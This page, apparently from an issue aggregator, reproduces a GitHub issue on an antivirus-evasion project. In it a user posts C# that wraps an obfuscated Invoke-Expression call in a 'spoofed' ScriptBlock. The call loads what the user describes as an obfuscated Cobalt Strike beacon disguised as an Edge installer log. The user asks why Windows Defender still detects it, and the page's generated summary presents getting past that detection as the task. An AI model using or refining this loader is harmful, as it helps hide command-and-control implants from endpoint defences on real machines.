Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

Still be detected by wdfdr...

Open
#2 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
4/5
Estimated time
3-5 days
Newbie friendliness
25/100
Issue type
Bug
Clarity
Needs clarification
Activity status
Stale
Tech stack
csharp, powershell
Domain
security

Research direction

No repository files or tests are named. Start by reproducing the supplied C# sample with Windows Defender, then trace how the generated ScriptBlock and executableAst are handled; done means identifying the detection path and recording a confirmed resolution or the remaining limitation.

Written by the indexing model from the issue text.

Description

A very nice anti-detection idea, however my sample still can be detected by Windows Defender, here is the demo code:

...
namespace ScriptSmuggling
{
    public class Program
    {
        public static void Main()
        {
            // the msedge_installer.log is an obfuscated cobaltstrike beacon file (.ps1). it can be execute by iex
            string script = @". ($pShOmE[4]+$PsHoMe[34]+'X') (cat C:\Windows\Temp\msedge_installer.log)";
            ScriptBlock sb = BuildSpoofedBlock(script);
            // Setup PowerShell runspace
            using (Runspace runSpace = RunspaceFactory.CreateRunspace())
            {
                runSpace.Open();
                using (PowerShell ps = PowerShell.Create())
                {
                    ps.Runspace = runSpace;




                    ps.AddCommand("Invoke-Command")
                      .AddParameter("ScriptBlock", sb);

                    Collection<PSObject> results = ps.Invoke();
                    foreach (PSObject result in results)
                    {
                        Console.WriteLine(result);
                    }

                    // Display any errors from the error stream
                    foreach (ErrorRecord error in ps.Streams.Error)
                    {
                        Console.WriteLine("ERROR: " + error);
                    }
                }
            }
        }



        public static ScriptBlock BuildSpoofedBlock(string content)
        {
            ...
        }
    }
}

Maybe the executableAst is still be check by wdfdr?

Dominant language
C#
Stars
96
Forks
13
PR merge metrics
No merged PRs in 30d

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Similar issues

More C# issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.